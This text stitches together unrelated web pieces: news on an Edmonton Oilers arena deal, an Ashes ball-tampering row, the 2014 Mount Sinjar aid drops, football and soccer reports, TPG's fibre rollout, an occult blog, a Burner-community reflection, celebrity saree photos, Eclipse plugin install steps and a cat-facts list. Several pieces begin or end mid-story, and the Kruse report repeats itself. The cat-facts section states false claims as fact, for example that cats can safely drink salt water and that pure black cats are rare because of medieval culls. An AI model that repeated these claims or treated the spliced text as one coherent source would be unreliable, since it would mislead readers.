Katz's visit came the same day that Seattle city council approved hedge-fund manager Chris Hansen's plan for a US$490-million arena that both sides hope will be home to an NBA and NHL team. Seattle lost its NBA team, the Sonics, to Oklahoma City in 2008.
Seattle's hockey market is limited to the Western Hockey League's Thunderbirds. The city hasn't had a professional team since the Metropolitans, who won a Stanley Cup in 1917, were disbanded in 1924.
The news came as Edmonton Mayor Stephen Mandel set Oct. 17 as the drop-dead date to complete a deal for a new downtown arena.
The deal was thought to have been done last October, when council and the Oilers agreed on a cost-shared deal to build a $450-million rink with construction slated to begin in early 2013. The cost has since escalated to $475-million.
That deal was thrown into doubt earlier this month when the city councillors were told at a closed door meeting that Katz wanted millions of dollars in new concessions from taxpayers for the proposed 18,400-seat arena.
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That prompted Mandel to ask Katz to appear before council in a public session to explain the new demands, but the Oilers' owner declined.
Under the deal, the proposed rink was to be funded mostly by taxpayers and ticket buyers.
The city was to pay $125-million, although councillors have since been told that land sales and interest will boost that figure to more than $300-million. That number also doesn't include millions more in transportation infrastructure, including a light rapid transit stop.
The Oilers were to pay operating costs for the facility along with $5.5-million a year for 35 years to help fund construction. In return, the team was to get all profits from Oilers games, trade shows and concerts for 11 months out of the year, along with naming rights worth an estimated $1-million or more annually.
The team would have also received $20-million over 10 years from the city for advertising.
At the closed door meeting earlier this month, councillors were told that, among other concessions, Katz wants $6-million per year from taxpayers to offset the cost of running the building.
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The Katz Group, in a letter to council, said they had had a second look at the numbers and that there needed to be changes in funding to keep the team viable in what Katz says is a "small market."
When details of the meeting were leaked to the public, the two sides began sniping at one another. Katz said the $6-million was always part of the deal, while councillors said it was not.
"To suggest I tried to change the deal at the last minute is really unfortunate," Katz told a sports radio show.
This is not the first time Katz and the Oilers have had talks with other potential suitors. Team officials have been in Hamilton before and there were even talks at one time to relocate the arena to First Nations territory outside Edmonton.
The arena debate has been long and heated in the Alberta capital.
Katz has made it clear he wants a public subsidy deal similar to the one given to NHL teams in Winnipeg and Pittsburgh.
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Forbes ranks the Oilers in the middle of NHL teams with a worth of $212-million.
Katz, who bought the Oilers for $200 million, says he has been losing money every year due mainly to the poor arena deal. The Oilers, unlike other NHL teams, receive very little non-hockey money such as concession revenues.
UPDATE - 7:27pm AEDT
Imputations that England’s bowlers altered the condition of the ball in a bid to try and extract reverse swing were stridently rejected this evening by their coach Trevor Bayliss and summarily dismissed as a “beat-up” by officiating umpires and ICC match referee Ranjan Madugalle.
The ‘incident that never was’ grew out of observations made by commentators at the MCG during the fourth day of the fourth Magellan Ashes Test, and other ‘experts’ who interpreted footage of England’s James Anderson pushing his left thumb into the ball’s surface as an item of potential interest.
READ THE LATEST STORY IN FULL
EARLIER
England's treatment of the new ball has been put under the spotlight on the fourth morning at the MCG after the tourists were spoken to by umpires.
Umpires S Ravi and Kumar Dharmasena spoke to England captain Joe Root after Stuart Broad threw the ball from mid-on that bounced well short of wicketkeeper Jonny Bairstow on the hard wicket block.
QUICK SINGLE LIVE: Australia v England day four
And television cameras captured Jimmy Anderson paying close attention to the quarter-seam that runs down the face of the ball.
"I'm not sure you are allowed to use your fingernail there," Shane Warne said on Nine's Wide World of Sports broadcast.
"If you are going to touch the ball at all, it's not just shining it, you want to do it right in front of the umpire so they know there is nothing untoward going on. But I'm not sure that Jimmy Anderson ... this might get some people talking."
'There might be a please explain for Anderson'
Co-commentator Michael Slater added: "You can't get your nail into the ball. That's a no-no."
QUICK SINGLE Aussie bats ready for MCG salvage job
Former Australia batsman Michael Hussey said Anderson could face censure for the episode.
"It didn't look great, to be honest. There might be a little bit of a 'please explain' there for Jimmy Anderson.
"I know there's a lot of tactics, but there's a bit of a line there that you shouldn't cross in picking the seam of the ball and things like that.
"The English have been throwing the ball into the ground to try and scuff one side up, but that's nothing the Aussies weren't doing either and the umpires are generally on top of that pretty quickly.
"But certainly getting a thumb nail into the ball is against the rules. So it'll be interesting to see what happens and if anything plays out there."
Former Australia fast bowler Mitchell Johnson wondered on social media how England had got the ball to start reverse swinging at just 10 overs old.
Ball reversing under 10 overs 🤔 #ashes — Mitchell Johnson (@MitchJohnson398) December 29, 2017
Johnson added: "I have no issue with both teams throwing into turf at the stumps as long as that’s all it is.
"Wouldn't have thought the ball could reverse so quickly. Oh well."
Hussey said getting the ball to reverse swing was a potent weapon for the bowling side.
"The pitch is pretty flat and they've got to look at other ways to put the batsmen under pressure and reverse swing is one of the weapons they can use.
"They do it very well, the English, they're well-versed in this area.
"To get it to go so early is a real bonus because the ball is still quite hard so it will go quite quickly. Whereas it seemed to take the Aussies a fair bit longer to get that reverse swing and once the ball gets softer, it does it a bit slower."
Australia fast bowler Pat Cummins said the home side had found the ball started to reverse between the 20 and 30 over mark which "makes you feel like you're in the game" on an otherwise benign surface that provided little assistance to seamers.
Alyssa Healy, the Australia women's team wicketkeeper and wife of injured fast bowler Mitchell Starc, suggested the match referee may take an interest.
Might be a few fines handed out tomorrow evening — Alyssa Healy (@ahealy77) December 29, 2017
2017-18 International Fixtures
Magellan Ashes Series
Australia Test squad: Steve Smith (c), David Warner (vc), Cameron Bancroft, Usman Khawaja, Peter Handscomb, Shaun Marsh, Mitchell Marsh, Tim Paine (wk), Mitchell Starc, Pat Cummins, Nathan Lyon, Josh Hazlewood, Jackson Bird.
England Test squad: Joe Root (c), James Anderson (vc), Moeen Ali, Jonny Bairstow, Jake Ball, Gary Ballance, Stuart Broad, Alastair Cook, Mason Crane, Tom Curran, Ben Foakes, Dawid Malan, Craig Overton, Ben Stokes, Mark Stoneman, James Vince, Chris Woakes.
First Test Australia won by 10 wickets. Scorecard
Second Test Australia won by 120 runs (Day-Night). Scorecard
Third Test Australia won by an innings and 41 runs. Scorecard
Fourth Test MCG, December 26-30. Tickets
Fifth Test SCG, January 4-8 (Pink Test). Tickets
Gillette ODI Series v England
First ODI MCG, January 14. Tickets
Second ODI Gabba, January 19. Tickets
Third ODI SCG, January 21. Tickets
Fourth ODI Adelaide Oval, January 26. Tickets
Fifth ODI Perth Stadium, January 28. Tickets
Prime Minister's XI
PM's XI v England Manuka Oval, February 2. Tickets
Gillette T20 trans-Tasman Tri-Series
First T20I Australia v NZ, SCG, February 3. Tickets
Second T20I – Australia v England, Blundstone Arena, February 7. Tickets
Third T20I – Australia v England, MCG, February 10. Tickets
Fourth T20I – NZ v England, Wellington, February 14
Fifth T20I – NZ v Australia, Eden Park, February 16
Sixth T20I – NZ v England, Seddon Park, February 18
Sharing has been a big part of my life. When I was at primary school I was more or less suspended as a ring leader of a lunch swapping racket. Kids coming to school who were bored with what their mothers made for them could swap elements of their lunch for someone else’s. The kids thought it was great, the school administration thought it was wrong. At the age of five I was banned from the school grounds during lunch break and had to go to my sister’s kindergarten for lunch.
My life as a journalist has been about sharing stories and information. My first occult group Builders of the Adytum blocked my advancement into its Chapter because the leader Will Chesterman was frightened that I might share the order’s secrets because I was a journalist. As a technology journalist I was a big fan of open source against the proprietary Apple and Microsoft. My books have all been about sharing ideas that I had about various forms of occult technology. All this was to a point that I believed sharing my occult discoveries was my remit. Instinctively I still feel that way, but it is clear that I was wrong.
Occult realisations
Realisations are like rainwater on stone. They are harmless until they freeze and crystalise and shatter the rock which was once their home. I have been working on Greek and Roman magic and Theurgy. I was chatting to someone about it and suddenly I realised that I not only believed something I was actually living it. Other occult ideas followed.
My instinct was to write about it and share. Detail how I got to that point and what changes it was making. I started to put out some notes and found myself shouted done by the usual internet clowns. This was par for the course and I normally expected it. But this time it was different.
This occult information was too personal to go through that particular trial by fire. I did not want to argue such life changing magical visions and experiences with those who really only wanted to assert their own intellectual superiority. It was not that I thought my ideas were right, or better than theirs – they just were and they didn’t need defending.
But this meant not sharing occult information, or at least sharing it with those who would not play those games or wanted to learn how to get to the same place. There was little chance that those who listened to my description would have been particularly excited by it. In fact intellectually there was little to it, but there was certainly a reality to it. It would be understandable for someone to say “you put yourself through all that for THAT how does that help humanity?” The only answer to that is “if you have an experience which is like that you would know.” The whole sharing system breaks down because communication fails. It is not because there is a big occult secret it is because it requires two people to be able to meet half-way.
Within my own group where people have worked on similar lines for a while and know where I am coming from, that is possible. But a general sharing is not. Someone like me cannot articulate what it is about something that makes it so important. It is like an emotion, a memory and a colour and powered by an image. But it does something – something very personal which cannot be shared.
Once you realise that there are some occult things which can’t be shared, you realise that some of the material which gets you to that place should not be either. Again, it is not because it is secret, it is because it is irrelevant to those whose spiritual path is not yours. What is the point of finding something important about Homer’s Iliad if someone thinks their spiritual path is about summoning a Christian demon? How important are Ancient Greek mantras to those who masturbate on homemade sigils? What use is it to talk about changing nature of the Western Magic to someone who shouts loudly that they were all copied from a superior Indian spiritual culture?
It is not saying that there is anything wrong with these paths or ideas, just that they don’t need my material. They will get their own realisations in their own way.
The brevity of support reiterates what's still one of the biggest issues for Android devices. Outside of Google's official Nexus line, prolonged support has been all but impossible to come by. But the story is different elsewhere in the smartphone market: Apple has continued to support even its three-year-old iPhone 4, which will be getting updated to iOS 7 this fall. For its part, HTC has done better in the past. Though update support for the One S is ending somewhat abruptly, the phone did receive 4.1 Jelly Bean just a few months after the operating system's release.
President Obama says intervention in Iraq stopped ISIL massacre
Claims trapped Yazidis were given time to flee Islamic State forces
Praises efforts of UK and US forces dropping aid to desperate civilians
But rescue mission called off after surveillance showed most had escaped
US and UK now say no more humanitarian aid drops may be needed
Cameron to face questions why original fears were so wide of the mark
Around 1,000 refugees still trapped on barren mountain range
This is the dramatic moment a humanitarian air drop was made by Hercules transporters over the Mount Sinjar region in Iraq.
The image - taken from a Litening III reconnaissance pod fitted to a Tornado GR4 aircraft on Wednesday night – was released as U.S. President Barack Obama declared the Islamic State siege of the area had been 'broken' by British and American intervention.
Mr Obama said Islamist fighters had been stopped from massacring tens of thousands of Yazidis by missile strikes and humanitarian aid drops.
He said the US and UK had led a joint mission to provide emergency aid to the trapped refugees, while missile strikes checked the sweeping advance of ISIS militants.
Mr Obama said terrorists were ‘killing and enslaving Yazidi civilians in their custody and laying siege’ to Mount Sinjar.
Scroll down for video
From above: An image taken from a Litening III reconnaissance pod fitted to a Tornado GR4 aircraft, during Wednesday's humanitarian air drop by Hercules transporters over the Sinjar mountain region in Northern Iraq
President Barack Obama declared victory against ISIS in Iraq at Martha's Vineyard, Massachusetts, last night
The Prime Minister visited the UK's Aid disaster response centre at Kemble Airport, Gloucestershire, yesterday Mr Cameron, speaking to workers at the UK's Aid disaster response centre. The PM vowed to ramp up Britain's humanitarian response to the crisis He said: ‘Without food or water they faced a terrible choice – starve on the mountain or be slaughtered on the ground. That’s when America came to help.’ But he said: ‘We broke the ISIL siege of Mount Sinjar. We helped vulnerable people reach safety and we helped save many innocent lives.’ It came after Downing Steet said the situation had improved so much that further aid drops may not be necessary.
The announcement came just 24 hours after David Cameron revealed the Government was working on plans for a dramatic international rescue mission to save the trapped refugees. Last night a Number 10 spokesman said: ‘The number of people still on the mountainside was now in the low thousands, with Kurdish forces assisting around a thousand people to get off the mountain to safety every night. RELATED ARTICLES Previous
Next You're not too young to die: British jihadists in bid to... The scandal Qatar can't shrug off... being friends with... The Iraqi children 'drinking their parents' BLOOD to stay... Horrific moment passengers are pulled from Iraqi helicopter... Share this article Share ‘This view has been reinforced by images captured by UK Tornados who flew a surveillance mission over the mountain last night and could not identify people in the numbers previously estimated.
‘Alongside this surveillance mission, two C130s distributed another 22 tonnes of aid last night to those on Mount Sinjar, including a further 13,200 litres of clean water and 480 shelter kits.
‘We are currently reviewing the need for additional airdrops, given that there appear to be adequate supplies on the mountain.’
International Development Secretary Justine Greening confirmed yesterday morning that American surveillance had revealed far fewer people were left on the mountain than first feared.
Ms Greening warned that there were many people left 'in desperate straits’ needing help, adding that a rescue mission was 'an option still on the table'. Mr Cameron added that military assets were 'in place and available if needed'. An RAF C-130 transport plane lands in heavy fog early yesterday morning at the British base at Akrotiri, Cyprus, as part of the UK's humanitarian relief effort
Two Chinook helicopters at RAF Akrotiri in Cyprus on standby after being sent from RAF Odiham in England RAF Hercules aircraft have been used by the Government to drop aid in northern Iraq. Here one of the planes being used returns to Akrotiri, Cyprus, after carrying out an emergency aid airdrop in Nortern Iraq as part of efforts to help stranded civilians on Mount Sinjar ARCHBISHOP: IRAQ ATROCITIES 'OFF THE SCALE OF HUMAN HORROR'
The Archbishop of Canterbury has urged the international community to record the atrocities in Iraq in order to bring the perpetrators to justice. Justin Welby said the human rights abuses against Christians and other minorities in the region by Islamic State fighters were 'off the scale of human horror'.
He said: 'In a globalised world where even distant nations are our "neighbour", we cannot allow these atrocities to be unleashed with impunity.'
He added: 'The international community must document the human rights abuses in northern Iraq so that the perpetrators can later be prosecuted.' It was confirmed earlier this week that SAS and SBS troops are already on the ground in northern Iraq, supported by specialist signals and reconnaissance forces.
The Prime Minister yesterday morning said he would chair another meeting of the emergency Cobra committee to coordinate the Government's aid effort.
He said this would involve working with people 'on the ground' in northern Iraq.
He said: 'We have to respond to the situation as it develops and we need to make sure that we have got information about how many people there are, how many need to leave, how well they can get to a place of safety.
'Our plans have to be flexible enough to help thise people - working with allies like the Kurds - to make sure we can help people in need.' He said there were many people still 'desperately in need'.
Speaking on BBC Radio 4 yesterday morning, Ms Greening said thousands of fleeing Yazidis had moved on to the mountain for safety before making a break for the Syrian border.
She added that up to a million Iraqis had been forced from their homes by the sweeping advance of Islamic militants massacring non-Muslims.
The Conservative minister said: ‘It’s been difficult to get the exact facts of what’s happening on the ground, not least because we’ve seen people coming on to the mountain whilst at the same time as others are able to leave the mountain.
‘The US have reported overnight from their surveillance efforts there are fewer people left on the mountain and that actually those who are there are perhaps in a better state than we might have feared, which is good news. But clearly we need to continue doing the air drops that we have been doing.
‘We do know there are many people left on that mountain in desperate straits. When you see the ones that have come off the mountain – 10,000 now have gone to a camp just over the border in Syria, they’ve walked for 40 miles in searing temperatures possibly up to 50 degrees. They are very dehydrated, very malnourished.’
She added: ‘The US has been clear overnight that although it is saying an evacuation approach is less likely, that is still an option that is on the table. The Prime Minister has been very clear that if an evacuation does take place, we will play our role in that. So that option is still there.’
Iraqi Yazidi refugees aboard a helicopter aid flight in northern Iraq where thousands of members of the Yazidi religious minority remain stranded in the mountains outside the town of Sinjar
Iraqi Yazidi refugees boarding a helicopter aid flight in northern Iraq outside the town of Sinjar
Displaced people from the minority Yazidi sect, who fled the violence from forces loyal to the Islamic State in Sinjar town, settle in abandoned houses as they take shelter on Mount Sinjar Ms Greening's remarks came after Baroness Nicholson of Winterbourne, Britain’s trade envoy to Iraq, revealed British special forces had been on the ground in Iraq for at least six weeks scoping the situation.
Under plans which were being drawn up in Downing Street to rescue trapped refugees in Iraq, the Governnent was considering flying stricken families off the barren Sinjar mountain range and taken to camps in safe havens elsewhere in the country. Military planners recommended that Apache attack helicopters escort the giant Chinook helicopters earmarked for the key role of ferrying up to 60 Yazidis at a time. The twin-rotor Chinook is seen as vulnerable to attack, especially if it is required to land on exposed mountainsides to pick up the frail and weak. Islamic State fighters have captured missiles capable of bringing down military aircraft. Contingency plans drawn up for defence chiefs – to be presented to ministers – say the deployment of the Apache would provide the best form of security. They also say a protection force of more than 200 soldiers could be needed to protect UK aircraft on the ground. More than 100 US marines and special forces landed on Mount Sinjar on Wednesday to organise an escape route for the refugees. But overnight the U.S. said a mission to evacuate Iraqi civilians trapped on the mountain was far less likely after an assessment team sent there found the humanitarian situation not as grave as expected. The team, made up of military and humanitarian aid personnel, found far fewer people than previously feared and in better condition than expected, the Pentagon said in a statement. 'Based on this assessment,' the Pentagon said, 'an evacuation mission is far less likely.' The Pentagon credited the aid drops, the US air strikes, the efforts of Kurdish Peshmerga fighters and the ability of thousands of Yazidis to leave the mountain in recent nights for the better-than-expected situation.
Tens of thousands of people from the minority Yazidi population are trapped in the mountains
One of the British Army’s most respected commanders, Col Tim Collins, today compared the atrocities carried out in northern Iraq by Islamic jihadis to the massacres in Stalin’s Russia and Pol Pot’s Cambodia
It was originally feared up to 35,000 Iraqis were trapped on the mountain but it has now emerged the figure is likely to have fallen to around 5,000. US air strikes have pushed back the militants and allowed Yazidis to leave the mountain and cross the border into Syria and Turkey.
American special forces have been on the mountain for some days, assessing the military and humanitarian situation and guiding air strikes against Islamic State fighters in the valleys. The US had an air base at the top of Mount Sinjar for much of the Iraq war and the terrain of the 45-mile ridgeline is well known to special operations units. Mr Cameron made his announcement after chairing a meeting at Number 10 of the COBRA emergency committee.
Despite pleas from MPs, he insisted there was no need to recall Parliament to discuss the crisis – the option will be kept ‘under review’. He dismissed calls from former defence secretary Liam Fox to directly arm Kurdish forces or join the US in air strikes against Islamic State fighters. Instead, four British Chinooks are likely to ferry humanitarian supplies – and weapons supplied by other countries to Kurdish Peshmerga forces, who are spearheading the fight against Islamic State.
Yazidi fighters who recently joined the Kurdish People's Protection Units secure a road in Mount Sinjar in northern Iraq today
Tens of thousands of people from the minority Yazidi population are trapped in the mountains, having fled Islamic State fighters murdering anyone in their path.
Mr Cameron praised the work so far of the RAF in bringing relief but added: ‘We need a plan to get these people off that mountain and get them to a place of safety.
‘I can confirm that detailed plans are now being put in place and are under way and that Britain will play a role in delivering them.’
Mr Cameron declined to give any details of the mission.
British Tornado jets are due to carry out reconnaissance missions and four Chinook helicopters were on Wednesday sent to the region ready for possible deployment.
Two Apaches are on standby but it is understood there is concern that the deployment of the attack helicopter might be seen by some as ‘an aggressive step’ when the Government is stressing the UK is only involved in humanitarian operations.
Downing Street said Britain will limit itself to transporting into Iraqi Kurdistan arms supplied by other countries. ‘Our focus remains on alleviating the dire humanitarian situation,’ said a spokesman.
Mr Cameron had telephone conversations with fellow world leaders to work up plans for the rescue mission. France announced it would supply weapons to the Kurds.
In Washington the Obama administration was forced to defend itself against accusations of mission creep after admitting it was considering a direct role for US forces in creating a ‘humanitarian corridor’ for the evacuation.
British Tornados arrived at RAF Akrotiri Cyprus on Wednesday to carry out surveillance to help the RAF C-130J Hercules cargo planes target where humanitarian supplies should be dropped in Iraq
Foreign Secretary Philip Hammond and the Defence Secretary Michael Fallon attended yesterday's emergency Cobra meeting, chaired by the Prime Minister David Cameron
RAF crews delivered a third round of emergency aid to the people in Northern Iraq on Wednesday night
‘The president is open to recommendations in which the United States is helping to facilitate the removal of these people from the mountain,’ said National Security Council spokesman, Ben Rhodes.
Dr Fox, who on Wednesday wrote a Mail article to demand Britain join US air strikes against Islamist militants, said we must not be seen as a ‘reluctant ally’.
‘We’ve been too slow to act over Iraq. We have seen ISIS gaining strength for some time and we need to be very clear they pose a very real threat to both the short-term interests of those in the region and the long-term interests more widely including our own,’ he told the BBC.
Particularly in Italy St Joseph’s feast is no small event, not too unlike St. Patrick’s day. People dress in red, there is an actual feast, and the altar gets piled up with donations, especially food, for the poor. Its quite the event. One of the key elements is the reenactment of Mary and Joseph looking for boarding in Bethlehem. They knock on, and are rejected at the first door, again at the second, and finally they are welcomed at the third. At its core the feast of St Joseph is hospitality. It is about welcoming and reaching out to strangers or to those who have no safe place or not enough food.
So Last night I brought my picture of St. Joseph that a “Catholic Worker” community gave me just after my dad, Joe, died. For me it was a way of bringing my faith, and even my Father’s memory into a community that may find those things strange or even unreasonable.
But one of the things I really appreciate when I arrive at the greeter station at our local burn event, I am always greeted with hugs and a giant “welcome home” sign. Its a place where ugly ducklings go to find their swans and everyone gets to be part of the popular crowd. Its a potluck of creativity and therefore a perfect bunch of people for me to celebrate St Joe’s day with.
After all these years we have spent together, we have become used to being strange in front of each other. So when I show up with a new level of strange, it may go mostly unnoticed, but I still know that I am made a little more present to the community, and to myself. I also think it creates an opportunity to think differently about other people who are a little bit more like me as well. Our space for others gets a little bigger.
When we as people say, “welcome home,” we are not just welcoming a person. We are welcoming the very notion of “home” to come into being. We are conjuring up a place, a relationship, for people to be together in the possibility we will call out the best in each other. One of the best ways to find a home, is to welcome someone else.
I am not saying that the burner community has become “the church” to me. They don’t want to be. I am not saying the Church is or should be like the Burner community. But here is a thing about potlucks and feasts: we bring whatever it is we have to bring, we put it on the table and we eat out of each other’s dishes. I am definitely saying friendships change things.
So to my dear twisted friends, you have again provided a twist without any hint of irony:
You welcomed our feast of hospitality.
And from our excess, others too will eat.
Other posts regarding Burner culture:
Taking Candy from Strangers: Halloween, grace and the everyday gift economy
Cats have been domesticated by humans for many thousands of years dating back to early civilizations on the island of Cyprus nearly 10,000 years ago. During all that time, we have certainly learned a lot of interesting things about cats.
What follows are five interesting facts that you many not have known about cats. This is because their behavior and especially their biology are very different from dogs and many other creatures as well.
1.) Cats Can Drink Salt Water
Drinking salt water is poisonous to our bodies because our kidneys cannot remove the excessive salt which in turn will kill us. Cats on the other hand can drink salt water because their kidneys are so efficient that the salt is removed and expelled from the body. This unique ability has developed over many thousands of years that allow cats to survive droughts.
2.) Cats Rarely Meow at other Cats
While there are occasions where we will hear a cat meow to call the attention of another cat, such instances are very rare. This is because the communication between cats is almost exclusively non-verbal. Cats will sniff, lick, and often play fight with each other, but the most common sounds they make towards other cats are low growls or howls that are meant as warnings.
3.) Cats like their Water Bowl and Food in Separate Places
Because cats are natural hunters, they have developed the instinct over the years that eating their food next to water sources will mean that the water is contaminated. While most domestic cats will overcome this instinct, they are still naturally resistant to having both their food and water bowls together. It is one reason why cats will often drink from different sources of water. So try separating the water bowl from the food bowl to make your cat just a little more happy.
4.) There are very few "true" Black Cats
Most black cats will have a white spot of them somewhere on their bodies. This is because hundreds of years ago black cats were destroyed during the Middle Ages because they were believed to be associated with Satan or dark sorcery. However, only pure black cats were affected and their closely related cousins who sported at least one white spot were spared. This is why finding a pure black cat is nearly impossible today.
5.) The Left Pawed Phenomenon
Most female cats are right pawed while more male cats are left pawed. What is even more interesting is that in humans 90% are right handed while the remaining 10% tend to be male, much like male cats. The reasons for this lie in the fact that a cat's brain is similarly divided much like a human's brain.
Installation
Starting from an existing eclipse installation, you first have to install Xtext, which is a dependency for Xturtle, from this update site:
http://download.eclipse.org/modeling/tmf/xtext/updates/composite/releases/
After that, install Xturtle from this update site:
http://xturtle.aksw.org/site.xml
During the installation, you will get a warning that the package is unsigned.
You'll know that the editor is working, when you open a .ttl file and you are asked if you want to add the Xtext-Nature to the project. Further, on invoking code completion (ctrl-space) in the first line, something should happen...
The Championship's joint-leakiest defence kept Norwich at bay as Fulham continued their encouraging form under Kit Symons with a home victory.
The only goal of the game came on the counter-attack with midfielder Sean Kavanagh firing home a low finish.
Norwich's Cameron Jerome was pulled back by Dan Burn after the break but Lewis Grabban's penalty hit the bar.
Josh Murphy also struck the woodwork as Norwich pressed, but Fulham held on to record their third win of the season.
Media playback is not supported on this device Symons on Fulham v Norwich
Norwich had won their last four Championship away games but started slowly, and failed to force a single meaningful save from Fulham goalkeeper Marcus Bettinelli in the first period.
Slow-starting Norwich Norwich have now gone eight league games without scoring a first-half goal
And some sloppy passing on the half-way line was punished as Lasse Vigen Christensen teed up Kavanagh to score his first goal for Fulham from the edge of the box.
Media playback is not supported on this device Norwich City manager Neil Adams on defeat at Fulham
Burn nearly doubled the home side's lead, but his header from a Bryan Ruiz corner was cleared off the line by Wes Hoolahan.
Immediately after half-time, Burn was adjudged by the linesman to have fouled Jerome, but Grabban spurned his second spot-kick of the season, smashing the underside of the bar.
Fulham substitute Moussa Dembele then shot straight at John Ruddy before Norwich dominated the closing stages.
With 10 minutes left, substitute Murphy cut inside from the left and hit a curling shot against the crossbar, but although the Canaries piled on the pressure, the ball did not drop kindly for them in the box as Fulham's defence stood firm.
Fulham caretaker manager Kit Symons: "It was a display full of character which I was delighted with. All the time I'm in situ in this position I'll just keep doing what I do. That's working as hard as I can on the training pitch and trying to win games for this great football club.
"I'm pretty sure three points as often as possible is not going to hurt my chances. I'll just keep plugging away."
Norwich manager Neil Adams: "We're not picking up victories and that's the concern for me. We had 63 per cent possession which is massive away from home but in terms of creating genuine goal scoring opportunities, that didn't materialise.
Last September the ISP announced plans to roll out fibre to the basements of an extra 500,000 apartments across metropolitan Sydney, Melbourne, Adelaide, Brisbane and Perth, to expand the number of buildings connected to its existing fibre network.
In today's half yearly results presentation, TPG revealed it had commenced FTTB construction in Pyrmont, Ultimo and Sydney CBD in NSW; Southbank, Docklands and Melbourne CBD in Victoria; and Fortitude Valley and Brisbane CBD in Queensland.
It said it was live trialling the service with a number of customers, but did not provide further detail by the time of publication.
The controversial plan - which mimicks efforts by the Coalition to build a national broadband network - has drawn criticism from NBN Co CEO Ziggy Switkowski, who said the initiative had the potential to “severely impact" the NBN.
Earlier this month TPG put forward its case to be allowed to continue exploiting a legal loophole in federal anti-cherry picking legislation, which allows a network operator to compete with the NBN as long as they limit network extensions to existing networks (built before January 2011) to less than 1km, limit speeds offered to under 24 Mpbs, or allow others wholesale access to the network to offer retail services.
TPG’s fibre network currently covers around 1600 buildings and 3800km.
It argued in a recent submission to a review panel tasked with conducting a cost-benefit analysis of the NBN and a review of its regulatory framework that its FTTB plans would not threaten the NBN.
It said many of the 500,000 premises it was targeting would be entrenched HFC customers, and it only expected to secure a percentage of the remaining customers.
“The number of households who will obtain TPG FTTB will be insignificant compared to the number of households to be targeted by NBN Co,” it said.
The Australian competition watchdog and fellow ISP iiNet have backed TPG's argument that infrastructure-based competition would deliver the best outcome to end-users.
Lady Gaga
While we haven’t always been a big fan of her eclectic taste in clothes, the singer sure proved her fashion sense with her elegant Tarun Tahiliani creation.
Pamela Anderson
The former Baywatch babe Pamela Anderson was spotted wearing a pristine white saree, when she made an entry into the famous Indian reality show- Big Boss. She brought the TRPs up just with the way she carried herself.
Also Read: Famous Hollywood Actresses & Their Fitness Secrets
Selena Gomez
With a cute face like that, the pop singer could probably pull off a anything, but it still came as a surprise when she took gorgeous to a whole new level by opting for a saree replete with a bindi.
Nicole Scherzinger
PCD singer lead, Nicole Scherzinger may have raised the with her band of girls in all black sarees, with gold borders.
Anna Kournikova
Along with being a killer on the tennis pitch, she indeed rocked the Indian traditional look.
Naomi Campbell
The ‘Black Beauty’ of western fashionand the famous supermodel Naomi Campbell draped her hot self in a sheer black embossed saree by Sabyasachi.
Jessica Alba
An orange saree with an embroidered blouse and a daring slit, Jessica Alba managed to find her way into a saree and nailed it!
Paris Hilton
Paris Hilton is well known for her amazing sense of fashion, her social life and her love for singing. She came to India to promote her brand of luxury items all dolled up in various shades of gray by eminent designer Tarun Tahiliani in a pearl embossed gorgeous net saree.
Oprah Winfrey
CEO Of HARPO Inc. and famous talk show hostess Oprah Winfrey paid a visit to India and she also was spotted twice in a saree once at the dinner with the Bachhans and the other time when she had to stop by at a VVIP inauguration
Elizabeth Hurley
Known for her stylish moves and her fashionable lifestyle, Hollywood diva Elizabeth Hurley wore a pink chic designer sari embellished zari work over the pink base and a lace borer.
Julia Roberts
Julia Roberts caught our breath in her movie Eat, Pray, Love. Her acting prowess drove home a message very strong, but when she was in India doing her part in the movie and playing counselor to an onscreen actor at her wedding, Julia was spotted in the Gujarati styled silk bordered bottle green sari draped to finesse.
Victoria Beckham
Known for her bob cut hair do and reigning the world of fashion as a stunning diva, Victoria Beckham looks stunning in a red saree embellished with zari and zardozi karigari.
Alyssa Milano
Alyssa Milano shows us how to drape the saree like a kimono jacket and how to blend into the desi avatar with utmost grace. The bindi on the forehead with minimal makeup completes her look.
Also Read: Why Nina Dobrev Left The Vampire Diaries
Madonna
Last but not the least, rebel singer Madonna embraced spiritualism at the peak of her career and renounced many ways of her life. She promoted Indian tradition and values across the world, donning a blue saree with chunky oxidized bangles and a statement neck-piece.
But he was cleared of any major ­injury and is expected to take part in tomorrow morning’s friendly match against Belgium and the friendly against Saudi Arabia on Tuesday.
Kruse is fighting back from an ACL injury which ruled him out of the World Cup.
After staying down for several minutes, Kruse eventually got to his feet and left the session immediately. The FFA reported later that Socceroos medical staff were confident the new injury “has nothing to do with his recent ACL problem.”
WATCH THE VISION OF KRUSE’S TRAINING INJURY IN THE PLAYER ABOVE
Kruse has done the hard work in getting back into shape during eight months on the sideline.
With muscle and bulk added by the countless hours in the gym needed to aid rehabilitation from the shocking knee injury that ruled him out of the World Cup, Kruse is almost unrecognisable from the tousle-haired wraith who burst onto the A-League scene with the Brisbane Roar seven years ago.
Not as obvious to the naked eye is the personal growth that Kruse has undergone during his long and painful break from the game.
“When you’re in rehab you’re isolated,” he said at the team hotel.
“It’s just you and the physio. You are alone all the time. It gets quite depressing but people say you get mentally stronger and I do feel I am mentally stronger so hopefully that puts me in good stead for the future.”
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Articulate, mature and confident after a season playing with German club Bayer Leverkusen at the very top level of European football, it is obvious that Kruse has come a long way from the teenager who could have so easily crashed and burned after a meteoric rise in the A-League.
After bursting onto the scene with the Brisbane Roar in 2007, by 2009 the club had lost patience with the precociously-talented youngster whose lack of discipline off the field was mirrored by a lack of consistency come match-time.
Playing only on a short-term contract to cover injuries, Kruse was offered a lifeline by Melbourne Victory where improved form saw an offer from German second division side Fortuna Dusseldorf.
From there it was a steep but rapid rise to the Socceroos and Bayer, before last year’s cruciate ligament disaster robbed him of the greatest experience the game has to offer.
“Mentally it was quite difficult,” he said.
“At first I wasn’t thinking about the World Cup. It was more about getting over the injury, but then when it came to it, all the build-up and the excitement bubbling around the Australian public and even seeing the videos with the boys on social media was hard.
“At the same time I was proud of the way the boys went. It’s always bitter sweet when you could be there playing, but that’s the cards I’d been dealt.
“I was really determined to get back for the Asian Cup. That was my main focus.”
A giant step towards achieving that goal will be the two friendlies, against Belgium on Friday morning and Saudi Arabia in London next Tuesday. A scare went through the camp when Kruse’s studs caught in the turf and he limped off the field midway through yesterday afternoon’s training session but he was cleared of any major injury and is expected to take part in Friday’s match.
Socceroo supporters will be relieved to see arguably the team’s best attacking weapon back on the park, but the ultimate fitness test against top opposition will also play a big part in determining the 25 year-old forward’s club future.
With a question mark over the amount of playing time he will get with Bayer this season there was talk of Kruse either transferring or being loaned out to another club. With the transfer window closed he has been told he is still a big part of Bayer’s plans.
